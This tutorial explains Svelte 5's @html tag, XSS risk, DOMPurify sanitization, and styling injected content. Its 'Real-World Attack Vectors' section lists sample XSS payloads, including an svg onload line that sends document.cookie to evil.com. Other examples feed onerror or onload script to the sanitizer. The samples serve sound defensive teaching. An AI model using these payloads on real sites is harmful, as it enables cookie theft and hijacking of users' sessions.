Raw HTML Injection

Every web application eventually encounters a scenario where pre-formatted HTML content must be rendered directly into the DOM. Whether you’re displaying rich text from a CMS, rendering markdown-to-HTML conversions, or integrating third-party content, Svelte 5’s @html tag provides the escape hatch from the framework’s default text escaping behavior.

However, this power comes with significant responsibility. The @html tag bypasses Svelte’s built-in protection against Cross-Site Scripting (XSS) attacks, making it one of the most security-sensitive features in your toolkit. Understanding when to use it, how to protect against vulnerabilities, and how to style dynamically injected content properly will distinguish robust applications from those waiting to be exploited.

This tutorial provides a deep dive into @html, covering everything from basic syntax to enterprise-grade security patterns, styling strategies, and real-world integration scenarios.

The Problem

Escaping vs. Rendering

By default, Svelte treats all interpolated content as text, automatically escaping HTML entities to prevent injection attacks:

<script>
	let content = '<strong>Bold text</strong>'
</script>

<p>{content}</p>
<!-- Renders: <strong>Bold text</strong> (as visible text, not bold) -->

This behavior is intentional and protective—if content came from user input and contained <script>alert('hacked')</script>, the malicious code would be displayed as harmless text rather than executed.

But what about legitimate use cases where you actually need HTML to render as HTML? This is where @html enters the picture.

Basic Syntax and Behavior

The @html tag accepts any expression that evaluates to a string and injects it directly into the DOM:

<script>
	let content = '<strong>Bold text</strong>'
</script>

<article>
	{@html content}
</article>
<!-- Renders: Bold text (actually bold) -->

The expression inside @html must produce valid, standalone HTML. Svelte doesn’t parse or validate the HTML—it simply inserts it into the DOM using innerHTML under the hood.

What Constitutes Valid HTML?

The HTML must be complete and well-formed when considered in isolation. This means you cannot split tags across multiple @html expressions:

<!-- AVOID: Split tags don't work -->
{@html '<div>'}
Some content here
{@html '</div>'}

<!-- PREFERRED: Complete HTML structure -->
{@html '<div>Some content here</div>'}

The reason for this limitation lies in how browsers parse HTML. When Svelte injects <div> as a standalone string, the browser’s HTML parser attempts to create a complete element, often auto-closing it immediately. The subsequent </div> then becomes an orphaned closing tag.

Reactive HTML Content

The @html expression is fully reactive. When the expression’s value changes, Svelte replaces the entire injected content:

<script>
	let theme = $state<'light' | 'dark'>('light')

	let styledContent = $derived(
		theme === 'light'
			? '<p style="color: #333;">Light mode content</p>'
			: '<p style="color: #ccc;">Dark mode content</p>'
	)
</script>

<button onclick={() => (theme = theme === 'light' ? 'dark' : 'light')}> Toggle Theme </button>

<div>
	{@html styledContent}
</div>

Each time theme changes, the entire HTML content is replaced. This is important to understand because any DOM state (like scroll position within the injected content, or focus state) will be lost on updates.

Critical Security Consideration

XSS Attacks

Never use @html with untrusted or user-provided content without sanitization.

Cross-Site Scripting (XSS) attacks occur when malicious scripts are injected into web pages viewed by other users. The @html tag is a direct vector for such attacks if misused:

<script>
	// DANGEROUS: User-provided content
	let userComment = '<img src="x" onerror="alert(\'XSS Attack!\')">'
</script>

<!-- This executes the malicious script! -->
{@html userComment}

When rendered, the browser attempts to load the non-existent image, fails, and executes the onerror handler—running arbitrary JavaScript in the context of your application.

Real-World Attack Vectors

Understanding common XSS payloads helps you appreciate why sanitization is non-negotiable:

// Event handler injection
'<svg onload="fetch(\'https://evil.com/steal?cookie=\'+document.cookie)">'

// Script tag injection
'<script>document.location="https://evil.com/phish"</script>'

// Data URI exploitation
'<a href="javascript:alert(document.cookie)">Click me</a>'

// CSS-based attacks
'<style>body{background:url("https://evil.com/track")}</style>'

// Nested encoding attacks
'<img src=x onerror="eval(atob(\'YWxlcnQoJ1hTUycpOw==\'))">'

These payloads can steal cookies, redirect users to phishing sites, track user behavior, or perform actions on behalf of authenticated users.

The Solution

HTML Sanitization with DOMPurify

DOMPurify is the industry-standard library for sanitizing HTML content. It strips dangerous elements and attributes while preserving safe, structural HTML:

npm install dompurify
npm install --save-dev @types/dompurify

Basic Sanitization Pattern

<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		rawHtml: string
	}

	let { rawHtml }: Props = $props()

	let safeHtml = $derived(DOMPurify.sanitize(rawHtml))
</script>

<div class="content">
	{@html safeHtml}
</div>

DOMPurify removes dangerous content while preserving safe elements:

import DOMPurify from 'dompurify'

// Malicious input
DOMPurify.sanitize('<img src=x onerror=alert(1)//>')
// Returns: '<img src="x">'

// Script injection
DOMPurify.sanitize('<script>alert("XSS")</script><p>Safe content</p>')
// Returns: '<p>Safe content</p>'

// SVG-based attacks
DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>')
// Returns: '<svg><g></g></svg>'

// Data URI in iframes
DOMPurify.sanitize('<p>abc<iframe//src=jAva&Tab;script:alert(3)>def</p>')
// Returns: '<p>abc</p>'

Creating a Reusable SafeHtml Component

For consistent security across your application, create a dedicated component:

<!-- SafeHtml.svelte -->
<script lang="ts">
	import DOMPurify from 'dompurify'
	import type { Config } from 'dompurify'

	interface Props {
		html: string
		config?: Config
		class?: string
	}

	let { html, config = {}, class: className = '' }: Props = $props()

	// Default secure configuration
	const defaultConfig: Config = {
		ALLOWED_TAGS: [
			'p',
			'br',
			'strong',
			'em',
			'u',
			's',
			'a',
			'ul',
			'ol',
			'li',
			'h1',
			'h2',
			'h3',
			'h4',
			'h5',
			'h6',
			'blockquote',
			'code',
			'pre',
			'img',
			'figure',
			'figcaption',
			'table',
			'thead',
			'tbody',
			'tr',
			'th',
			'td',
			'div',
			'span',
			'article',
			'section',
			'header',
			'footer'
		],
		ALLOWED_ATTR: [
			'href',
			'src',
			'alt',
			'title',
			'class',
			'id',
			'target',
			'rel',
			'width',
			'height',
			'loading'
		],
		ALLOW_DATA_ATTR: false,
		ADD_ATTR: ['target'],
		FORBID_TAGS: ['style', 'script', 'iframe', 'form', 'input', 'button'],
		FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover']
	}

	let safeHtml = $derived(DOMPurify.sanitize(html, { ...defaultConfig, ...config }))
</script>

<div class={className}>
	{@html safeHtml}
</div>

Usage throughout your application:

<script>
	import SafeHtml from '$lib/components/SafeHtml.svelte'

	let cmsContent = $state('')

	// Fetch from CMS...
</script>

<SafeHtml html={cmsContent} class="prose" />

Advanced DOMPurify Configuration

For specific use cases, DOMPurify offers fine-grained control:

<script lang="ts">
	import DOMPurify from 'dompurify'

	// Allow only specific link protocols
	const sanitizeWithProtocols = (html: string) => {
		return DOMPurify.sanitize(html, {
			ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i
		})
	}

	// Preserve specific custom elements (Web Components)
	const sanitizeWithCustomElements = (html: string) => {
		return DOMPurify.sanitize(html, {
			CUSTOM_ELEMENT_HANDLING: {
				tagNameCheck: /^my-/, // Allow elements starting with 'my-'
				attributeNameCheck: /^data-/, // Allow data attributes
				allowCustomizedBuiltInElements: false
			}
		})
	}

	// Strict sanitization for comments/user content
	const sanitizeUserContent = (html: string) => {
		return DOMPurify.sanitize(html, {
			ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
			ALLOWED_ATTR: ['href'],
			ALLOW_DATA_ATTR: false
		})
	}
</script>

Server-Side Sanitization with isomorphic-dompurify

For SvelteKit applications with SSR, use isomorphic-dompurify which works in both browser and Node.js environments:

npm install isomorphic-dompurify
<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'

	interface Props {
		html: string
	}

	let { html }: Props = $props()

	let safeHtml = $derived(DOMPurify.sanitize(html))
</script>

{@html safeHtml}

Styling Injected HTML Content

Content rendered via @html exists outside Svelte’s component scope awareness. This means Svelte’s scoped styles won’t apply to dynamically injected elements.

The Scoping Problem

<script>
	let content = '<p class="highlight">This paragraph</p>'
</script>

<article>
	{@html content}
</article>

<style>
	/* AVOID: This won't work - Svelte marks it as unused */
	article p {
		color: blue;
	}

	.highlight {
		background: yellow;
	}
</style>

Svelte’s compiler analyzes your template at build time and adds unique class identifiers to elements it finds. Since the <p> and .highlight elements don’t exist in the template (they’re injected at runtime), Svelte considers these styles unused and may remove them.

1. The :global Modifier

Use :global to escape Svelte’s scoping, but scope it to a container to prevent leakage:

<script>
	let content = '<p class="highlight">Styled paragraph</p><a href="#">Link</a>'
</script>

<article class="html-content">
	{@html content}
</article>

<style>
	.html-content {
		/* Container styles remain scoped */
		padding: 1rem;
		border: 1px solid #ddd;
	}

	/* All descendants of .html-content are globally styled */
	.html-content :global {
		p {
			color: #333;
			line-height: 1.6;
			margin-bottom: 1rem;
		}

		a {
			color: hotpink;
			text-decoration: underline;
		}

		.highlight {
			background: yellow;
			padding: 0.25rem;
		}

		img {
			max-width: 100%;
			height: auto;
		}

		pre {
			background: #f4f4f4;
			padding: 1rem;
			overflow-x: auto;
		}

		code {
			font-family: 'Fira Code', monospace;
			font-size: 0.9em;
		}

		blockquote {
			border-left: 4px solid #ddd;
			padding-left: 1rem;
			margin-left: 0;
			font-style: italic;
		}
	}
</style>

2. CSS Custom Properties for Theming

Leverage CSS custom properties to make injected content themeable:

<script>
	let content = '<p>Themed paragraph</p><a href="#">Themed link</a>'
	let theme = $state<'light' | 'dark'>('light')
</script>

<article class="html-content" class:dark={theme === 'dark'}>
	{@html content}
</article>

<button onclick={() => (theme = theme === 'light' ? 'dark' : 'light')}> Toggle Theme </button>

<style>
	.html-content {
		--text-color: #333;
		--link-color: #0066cc;
		--bg-color: #fff;
		--code-bg: #f4f4f4;

		background: var(--bg-color);
		padding: 1.5rem;
		transition: all 0.3s ease;
	}

	.html-content.dark {
		--text-color: #e0e0e0;
		--link-color: #66b3ff;
		--bg-color: #1a1a1a;
		--code-bg: #2d2d2d;
	}

	.html-content :global {
		p,
		li,
		td {
			color: var(--text-color);
		}

		a {
			color: var(--link-color);
		}

		pre,
		code {
			background: var(--code-bg);
		}
	}
</style>

3. Utility-First with Tailwind CSS

If you’re using Tailwind, the @tailwindcss/typography plugin provides excellent prose styling:

npm install @tailwindcss/typography
<script>
	let content = '<h2>Article Title</h2><p>Rich formatted content...</p>'
</script>

<article class="prose prose-lg dark:prose-invert max-w-none">
	{@html content}
</article>

The prose classes automatically style all common HTML elements with sensible typography defaults.

Real-World Integration Patterns

Choosing the Right Tool: mdsvex vs Runtime Parsing

Before diving into markdown rendering patterns, it’s crucial to understand when @html with runtime parsing is appropriate versus when you should use mdsvex—a build-time markdown preprocessor for Svelte.

AspectmdsvexRuntime Parsers (marked, etc.)
When it runsBuild time (preprocessor)Runtime (browser/server)
Input.md / .svx files in your projectMarkdown strings from any source
OutputCompiled Svelte componentsHTML strings requiring @html
Use caseStatic content (blog posts, docs)Dynamic content (CMS, user input, APIs)
Svelte components in markdown✅ Fully supported❌ Not possible
Requires sanitizationNo (trusted source)Yes (always sanitize)

Use mdsvex when:

  • You’re building a blog or documentation site with SvelteKit
  • Markdown files exist in your project at build time
  • You want to embed Svelte components inside markdown
  • Content is authored by trusted developers
<!-- src/routes/blog/my-post.md - Processed by mdsvex at BUILD time -->
--- title: My Blog Post --- # Hello World

<CustomAlert type="info"> This Svelte component works inside markdown! </CustomAlert>

No `@html` needed—this becomes a real Svelte component.

Use runtime parsers (marked, unified, etc.) with @html when:

  • Content comes from a CMS API at runtime
  • Users submit markdown in forms or comments
  • Markdown is stored in a database
  • Content doesn’t exist until the application runs
<script>
	// Content fetched at runtime - must use {@html}
	let { data } = $props()
	let html = $derived(marked.parse(data.cmsContent))
</script>

{@html DOMPurify.sanitize(html)}

Patterns for Dynamic HTML Injection

The patterns below focus on runtime scenarios where @html is necessary. For static markdown content in SvelteKit, configure mdsvex in your svelte.config.js instead.

1. Markdown Rendering

When markdown content arrives at runtime (from APIs, databases, or user input), use a runtime parser like marked:

npm install marked dompurify
npm install --save-dev @types/dompurify
<!-- MarkdownRenderer.svelte -->
<script lang="ts">
	import { marked } from 'marked'
	import DOMPurify from 'dompurify'

	interface Props {
		source: string
		class?: string
	}

	let { source, class: className = '' }: Props = $props()

	// Configure marked for security
	marked.setOptions({
		gfm: true, // GitHub Flavored Markdown
		breaks: true // Convert \n to <br>
	})

	let html = $derived.by(() => {
		const rawHtml = marked.parse(source) as string
		return DOMPurify.sanitize(rawHtml, {
			USE_PROFILES: { html: true }
		})
	})
</script>

<div class="markdown-content {className}">
	{@html html}
</div>

<style>
	.markdown-content :global {
		h1,
		h2,
		h3,
		h4,
		h5,
		h6 {
			margin-top: 1.5em;
			margin-bottom: 0.5em;
			font-weight: 600;
		}

		h1 {
			font-size: 2rem;
		}
		h2 {
			font-size: 1.5rem;
		}
		h3 {
			font-size: 1.25rem;
		}

		p {
			margin-bottom: 1rem;
			line-height: 1.7;
		}

		ul,
		ol {
			margin-bottom: 1rem;
			padding-left: 1.5rem;
		}

		li {
			margin-bottom: 0.25rem;
		}

		code {
			background: #f0f0f0;
			padding: 0.125rem 0.25rem;
			border-radius: 0.25rem;
			font-size: 0.875em;
		}

		pre {
			background: #1e1e1e;
			color: #d4d4d4;
			padding: 1rem;
			border-radius: 0.5rem;
			overflow-x: auto;
			margin-bottom: 1rem;
		}

		pre code {
			background: transparent;
			padding: 0;
			color: inherit;
		}

		blockquote {
			border-left: 4px solid #3b82f6;
			padding-left: 1rem;
			margin: 1rem 0;
			color: #666;
			font-style: italic;
		}

		a {
			color: #3b82f6;
			text-decoration: underline;
		}

		a:hover {
			color: #2563eb;
		}

		img {
			max-width: 100%;
			height: auto;
			border-radius: 0.5rem;
		}

		table {
			width: 100%;
			border-collapse: collapse;
			margin-bottom: 1rem;
		}

		th,
		td {
			border: 1px solid #ddd;
			padding: 0.5rem;
			text-align: left;
		}

		th {
			background: #f5f5f5;
			font-weight: 600;
		}

		hr {
			border: none;
			border-top: 1px solid #ddd;
			margin: 2rem 0;
		}
	}
</style>

Usage:

<script>
	import MarkdownRenderer from '$lib/components/MarkdownRenderer.svelte'

	let markdown = `
# Welcome to My Blog

This is a **bold** statement with some *italic* text.

## Code Example

\`\`\`javascript
const greeting = 'Hello, World!';
console.log(greeting);
\`\`\`

> A wise quote goes here.

- List item 1
- List item 2
- List item 3
  `
</script>

<MarkdownRenderer source={markdown} class="prose-lg" />

2. CMS Content Integration

When fetching HTML content from a headless CMS:

<!-- CmsContent.svelte -->
<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'
	import { onMount } from 'svelte'

	interface Props {
		content: string
		allowIframes?: boolean
		allowEmbeds?: boolean
	}

	let { content, allowIframes = false, allowEmbeds = false }: Props = $props()

	// Build configuration based on props
	let config = $derived.by(() => {
		const baseConfig = {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'h4',
				'h5',
				'h6',
				'blockquote',
				'code',
				'pre',
				'img',
				'figure',
				'figcaption',
				'table',
				'thead',
				'tbody',
				'tr',
				'th',
				'td',
				'div',
				'span',
				'article',
				'section',
				'aside'
			],
			ALLOWED_ATTR: [
				'href',
				'src',
				'alt',
				'title',
				'class',
				'id',
				'target',
				'rel',
				'width',
				'height',
				'loading',
				'srcset',
				'sizes'
			]
		}

		if (allowIframes) {
			baseConfig.ALLOWED_TAGS.push('iframe')
			baseConfig.ALLOWED_ATTR.push('frameborder', 'allowfullscreen', 'allow')
		}

		if (allowEmbeds) {
			baseConfig.ALLOWED_TAGS.push('video', 'audio', 'source', 'embed')
			baseConfig.ALLOWED_ATTR.push('controls', 'autoplay', 'loop', 'muted', 'type')
		}

		return baseConfig
	})

	let safeContent = $derived(DOMPurify.sanitize(content, config))

	// Post-process links to add security attributes
	let container: HTMLElement | null = $state(null)

	$effect(() => {
		if (container) {
			// Add rel="noopener noreferrer" to external links
			const links = container.querySelectorAll('a[href^="http"]')
			links.forEach((link) => {
				link.setAttribute('rel', 'noopener noreferrer')
				link.setAttribute('target', '_blank')
			})

			// Add loading="lazy" to images
			const images = container.querySelectorAll('img')
			images.forEach((img) => {
				img.setAttribute('loading', 'lazy')
			})
		}
	})
</script>

<div class="cms-content" bind:this={container}>
	{@html safeContent}
</div>

<style>
	.cms-content :global {
		/* Typography */
		font-family:
			system-ui,
			-apple-system,
			sans-serif;
		line-height: 1.7;
		color: #333;

		/* Headings */
		h1,
		h2,
		h3 {
			margin-top: 2rem;
			margin-bottom: 1rem;
			line-height: 1.3;
		}

		/* Paragraphs */
		p {
			margin-bottom: 1.25rem;
		}

		/* Links */
		a {
			color: #0066cc;
			text-decoration: none;
			border-bottom: 1px solid transparent;
			transition: border-color 0.2s;
		}

		a:hover {
			border-bottom-color: currentColor;
		}

		/* Images */
		img {
			max-width: 100%;
			height: auto;
			border-radius: 8px;
		}

		figure {
			margin: 2rem 0;
		}

		figcaption {
			text-align: center;
			font-size: 0.875rem;
			color: #666;
			margin-top: 0.5rem;
		}

		/* Iframes (videos, embeds) */
		iframe {
			max-width: 100%;
			border-radius: 8px;
		}
	}
</style>

3. Syntax Highlighting for Code Blocks

Integrating with syntax highlighting libraries:

npm install highlight.js
<!-- CodeBlock.svelte -->
<script lang="ts">
	import hljs from 'highlight.js'
	import DOMPurify from 'dompurify'

	interface Props {
		code: string
		language?: string
	}

	let { code, language = 'plaintext' }: Props = $props()

	let highlightedCode = $derived.by(() => {
		try {
			const result =
				language && hljs.getLanguage(language)
					? hljs.highlight(code, { language })
					: hljs.highlightAuto(code)

			// highlight.js output is safe, but sanitize anyway for defense in depth
			return DOMPurify.sanitize(result.value, {
				ALLOWED_TAGS: ['span'],
				ALLOWED_ATTR: ['class']
			})
		} catch {
			// Fallback to escaped plain text
			return DOMPurify.sanitize(code)
		}
	})
</script>

<pre class="code-block"><code class="hljs language-{language}">{@html highlightedCode}</code></pre>

<style>
	.code-block {
		background: #1e1e1e;
		border-radius: 8px;
		padding: 1rem;
		overflow-x: auto;
		font-family: 'Fira Code', 'Consolas', monospace;
		font-size: 0.875rem;
		line-height: 1.5;
	}

	.code-block :global {
		/* highlight.js theme tokens */
		.hljs-keyword {
			color: #569cd6;
		}
		.hljs-string {
			color: #ce9178;
		}
		.hljs-number {
			color: #b5cea8;
		}
		.hljs-function {
			color: #dcdcaa;
		}
		.hljs-comment {
			color: #6a9955;
		}
		.hljs-variable {
			color: #9cdcfe;
		}
		.hljs-built_in {
			color: #4ec9b0;
		}
	}
</style>

4. Rich Text Editor Output

Handling content from WYSIWYG editors like TipTap, Quill, or CKEditor:

<!-- RichTextDisplay.svelte -->
<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		html: string
		editorType?: 'tiptap' | 'quill' | 'ckeditor'
	}

	let { html, editorType = 'tiptap' }: Props = $props()

	// Editor-specific configurations
	const editorConfigs = {
		tiptap: {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'blockquote',
				'code',
				'pre',
				'hr',
				'img',
				'table',
				'thead',
				'tbody',
				'tr',
				'th',
				'td'
			],
			ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'colspan', 'rowspan']
		},
		quill: {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'blockquote',
				'pre',
				'img',
				'span'
			],
			ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'style'],
			ALLOW_DATA_ATTR: true
		},
		ckeditor: {
			ALLOWED_TAGS: [
				'p',
				'br',
				'strong',
				'em',
				'u',
				's',
				'a',
				'ul',
				'ol',
				'li',
				'h1',
				'h2',
				'h3',
				'h4',
				'blockquote',
				'pre',
				'hr',
				'img',
				'figure',
				'figcaption',
				'table',
				'thead',
				'tbody',
				'tr',
				'th',
				'td',
				'div',
				'span'
			],
			ALLOWED_ATTR: ['href', 'src', 'alt', 'class', 'style', 'width', 'height']
		}
	}

	let safeHtml = $derived(DOMPurify.sanitize(html, editorConfigs[editorType]))
</script>

<div class="rich-text-content editor-{editorType}">
	{@html safeHtml}
</div>

Common Struggles and Solutions

1. Styles Not Applying

Problem: You’ve written CSS for injected content, but nothing is styled.

Cause: Svelte’s scoped styles don’t reach dynamically injected elements.

Solution: Use the :global modifier scoped to a container:

<style>
	/* Scope global styles to prevent leakage */
	.my-container :global {
		p {
			color: blue;
		}
		a {
			color: red;
		}
	}
</style>

2. XSS Vulnerability Warnings in Security Audits

Problem: Security scanners flag @html usage as a vulnerability.

Solution: Always sanitize and document your approach:

<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'

	/**
	 * @security This component sanitizes all HTML input using DOMPurify
	 * with a strict allowlist configuration. See security documentation
	 * for approved usage patterns.
	 */
	let safeHtml = $derived(DOMPurify.sanitize(html, STRICT_CONFIG))
</script>

3. Event Handlers Not Working on Injected Elements

Problem: You want to add click handlers to links in injected HTML.

Cause: Svelte event handlers only work on elements in the template, not injected content.

Solution: Use event delegation:

<script lang="ts">
	import DOMPurify from 'dompurify'

	let { html }: { html: string } = $props()

	function handleClick(event: MouseEvent) {
		const target = event.target as HTMLElement

		// Check if clicked element is a link
		if (target.tagName === 'A') {
			event.preventDefault()
			const href = target.getAttribute('href')
			console.log('Link clicked:', href)
			// Handle navigation, analytics, etc.
		}
	}
</script>

<!-- svelte-ignore a11y_click_events_have_key_events -->
<!-- svelte-ignore a11y_no_static_element_interactions -->
<div onclick={handleClick}>
	{@html DOMPurify.sanitize(html)}
</div>

4. DOM State Lost on Reactive Updates

Problem: User scroll position, form inputs, or focus state disappear when content updates.

Cause: @html replaces the entire DOM subtree on each reactive update.

Solution: Use {#key} blocks to control when replacement happens, or cache the sanitized result:

<script lang="ts">
	import DOMPurify from 'dompurify'

	let { html }: { html: string } = $props()

	// Only re-sanitize when html actually changes
	let lastHtml = ''
	let cachedSafeHtml = ''

	let safeHtml = $derived.by(() => {
		if (html !== lastHtml) {
			lastHtml = html
			cachedSafeHtml = DOMPurify.sanitize(html)
		}
		return cachedSafeHtml
	})
</script>

5. SSR Hydration Mismatches

Problem: Console warnings about hydration mismatches when using @html with SSR.

Cause: Server and client produce different sanitization results, or content changes between server render and client hydration.

Solution: Ensure consistent sanitization by using isomorphic-dompurify and avoiding browser-only APIs during SSR:

<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'
	import { browser } from '$app/environment'

	let { html }: { html: string } = $props()

	// Use consistent configuration on both server and client
	const config = {
		ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a'],
		ALLOWED_ATTR: ['href']
	}

	let safeHtml = $derived(DOMPurify.sanitize(html, config))
</script>

{@html safeHtml}

6. Content Flash on Load

Problem: Unstyled content briefly appears before styles apply.

Solution: Use a loading state or CSS containment:

<script lang="ts">
	let { html }: { html: string } = $props()
	let loaded = $state(false)

	$effect(() => {
		// Give browser time to parse and apply styles
		requestAnimationFrame(() => {
			loaded = true
		})
	})
</script>

<div class="content" class:loaded>
	{@html html}
</div>

<style>
	.content {
		opacity: 0;
		transition: opacity 0.2s;
	}

	.content.loaded {
		opacity: 1;
	}
</style>

TypeScript Integration

Type-safe patterns for @html usage:

// types.ts

/**
 * Represents HTML content that has been sanitized and is safe to render.
 * This branded type helps prevent accidental rendering of unsanitized HTML.
 */
export type SanitizedHtml = string & { readonly __brand: 'SanitizedHtml' }

/**
 * Sanitization configuration presets
 */
export type SanitizationPreset = 'strict' | 'moderate' | 'permissive'

export interface SanitizationConfig {
	allowedTags: string[]
	allowedAttributes: string[]
	allowDataAttributes: boolean
	allowIframes: boolean
}
<!-- TypedSafeHtml.svelte -->
<script lang="ts">
	import DOMPurify from 'isomorphic-dompurify'
	import type { SanitizedHtml, SanitizationPreset, SanitizationConfig } from './types'

	const presets: Record<SanitizationPreset, Partial<SanitizationConfig>> = {
		strict: {
			allowedTags: ['p', 'br', 'strong', 'em'],
			allowedAttributes: [],
			allowDataAttributes: false,
			allowIframes: false
		},
		moderate: {
			allowedTags: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
			allowedAttributes: ['href', 'class'],
			allowDataAttributes: false,
			allowIframes: false
		},
		permissive: {
			allowedTags: [
				'p',
				'br',
				'strong',
				'em',
				'a',
				'ul',
				'ol',
				'li',
				'code',
				'pre',
				'h1',
				'h2',
				'h3',
				'h4',
				'h5',
				'h6',
				'blockquote',
				'img',
				'figure',
				'figcaption'
			],
			allowedAttributes: ['href', 'src', 'alt', 'class', 'title'],
			allowDataAttributes: true,
			allowIframes: false
		}
	}

	interface Props {
		html: string
		preset?: SanitizationPreset
		customConfig?: Partial<SanitizationConfig>
	}

	let { html, preset = 'moderate', customConfig }: Props = $props()

	function sanitize(rawHtml: string): SanitizedHtml {
		const config = { ...presets[preset], ...customConfig }

		const result = DOMPurify.sanitize(rawHtml, {
			ALLOWED_TAGS: config.allowedTags,
			ALLOWED_ATTR: config.allowedAttributes,
			ALLOW_DATA_ATTR: config.allowDataAttributes
		})

		return result as SanitizedHtml
	}

	let safeHtml = $derived(sanitize(html))
</script>

{@html safeHtml}

Performance Considerations

Memoizing Sanitization

For large HTML content or frequent updates, memoize the sanitization:

<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		html: string
	}

	let { html }: Props = $props()

	// Simple memoization
	const cache = new Map<string, string>()

	let safeHtml = $derived.by(() => {
		const cached = cache.get(html)
		if (cached) return cached

		const sanitized = DOMPurify.sanitize(html)

		// Limit cache size
		if (cache.size > 100) {
			const firstKey = cache.keys().next().value
			cache.delete(firstKey)
		}

		cache.set(html, sanitized)
		return sanitized
	})
</script>

Lazy Loading Heavy Content

For pages with many @html blocks:

<script lang="ts">
	import DOMPurify from 'dompurify'

	interface Props {
		html: string
	}

	let { html }: Props = $props()

	let visible = $state(false)
	let container: HTMLElement

	$effect(() => {
		const observer = new IntersectionObserver(
			([entry]) => {
				if (entry.isIntersecting) {
					visible = true
					observer.disconnect()
				}
			},
			{ rootMargin: '100px' }
		)

		observer.observe(container)

		return () => observer.disconnect()
	})

	let safeHtml = $derived(visible ? DOMPurify.sanitize(html) : '')
</script>

<div bind:this={container} class="lazy-html">
	{#if visible}
		{@html safeHtml}
	{:else}
		<div class="placeholder">Loading...</div>
	{/if}
</div>

Best Practices Summary

  1. Never trust user input: Always sanitize HTML from any external source, including your own database if users can influence content.

  2. Use DOMPurify or equivalent: Don’t write custom sanitization logic; use battle-tested libraries maintained by security researchers.

  3. Prefer allowlists over blocklists: Explicitly list what’s allowed rather than trying to block known bad patterns.

  4. Scope your global styles: When using :global, always scope it to a container class to prevent style leakage.

  5. Use isomorphic-dompurify for SSR: Ensure consistent behavior between server and client rendering.

  6. Document security decisions: Comment your code to explain why certain tags/attributes are allowed.

  7. Consider Content Security Policy: Add CSP headers to your application as an additional layer of defense.

  8. Audit regularly: Periodically review @html usage in your codebase and update sanitization rules.

  9. Test with malicious payloads: Include XSS test cases in your test suite to verify sanitization works correctly.

  10. Create reusable components: Centralize @html usage in dedicated components with consistent security configurations.

Conclusion

The @html tag is a powerful tool that bridges the gap between Svelte’s safe-by-default approach and the reality that many applications must render dynamic HTML content. By understanding its implications and implementing proper sanitization, you can safely leverage this feature for CMS content, markdown rendering, syntax highlighting, and other legitimate use cases.

The key is treating @html as a security-sensitive operation that requires the same careful handling you would give to database queries or authentication logic. With DOMPurify handling sanitization and proper styling strategies in place, you can confidently render rich HTML content while maintaining a robust security posture.

Key Takeaways

  • {@html} renders raw HTML strings without escaping, making it essential for CMS content, Markdown rendering, and syntax highlighting but requiring strict XSS protection
  • Never trust user input - always sanitize HTML from any external source using battle-tested libraries like DOMPurify, not custom regex-based solutions
  • Sanitization must use allowlists (explicitly allow safe tags/attributes) rather than blocklists (block known dangerous patterns) for effective security
  • Component styles don’t apply to @html content - Svelte’s scoping only affects compiled components, requiring :global() wrapper or external stylesheets for HTML content styling
  • SSR requires isomorphic sanitization - use isomorphic-dompurify to ensure consistent sanitization behavior between server and client rendering
  • DOMPurify configuration is customizable with hooks for URL validation, attribute filtering, and custom tag handling through ALLOWED_TAGS, ALLOWED_ATTR, and hook functions
  • Content Security Policy adds defense-in-depth - CSP headers prevent inline script execution even if sanitization fails, providing an additional security layer
  • Reusable components centralize security - create dedicated components like <SanitizedHTML> or <MarkdownRenderer> to enforce consistent sanitization across your codebase

See Also